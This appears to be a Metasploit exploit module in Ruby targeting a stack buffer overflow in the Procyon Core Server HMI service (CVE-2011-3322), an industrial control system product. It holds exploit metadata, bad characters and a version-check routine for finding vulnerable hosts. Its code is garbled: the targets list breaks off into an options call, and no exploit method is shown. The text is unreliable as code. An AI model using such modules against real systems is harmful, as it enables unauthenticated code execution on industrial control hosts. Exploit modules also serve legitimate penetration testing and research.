##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Procyon Core Server HMI <= v1.13 Coreservice.exe Stack Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in the coreservice.exe component of Proycon
Core Server <= v1.13. While processing a password, the application
fails to do proper bounds checking before copying data into a small buffer on the stack.
This causes a buffer overflow and allows to overwrite a structured exception handling
record on the stack, allowing for unauthenticated remote code execution. Also, after the
payload exits, Coreservice.exe should automatically recover.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 13724 $',
'Author' =>
[
'Knud Højgaard <keh[at]nsense.dk>', # Initial discovery
'mr_me <steventhomasseeley[at]gmail.com>', # Initial discovery & poc/msf
],
'References' =>
[
['CVE', 'CVE-2011-3322'],
['OSVDB', '75371'],
['URL', 'http://www.uscert.gov/control_systems/pdf/ICSA-11-216-01.pdf'],
['URL', 'http://www.stratsec.net/Research/Advisories/Procyon-Core-Server-HMI-Remote-Stack-Overflow']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
},
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Targets' =>
[
register_options(
[
Opt::RPORT(23)
], self.class)
end
def check
connect
res = sock.get_once.chomp #This gives us string "----------------------------"
res = sock.get_once.chomp #This gives us the actual software version
disconnect
if res =~ /Core Command Interface V1\.(.*)2/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end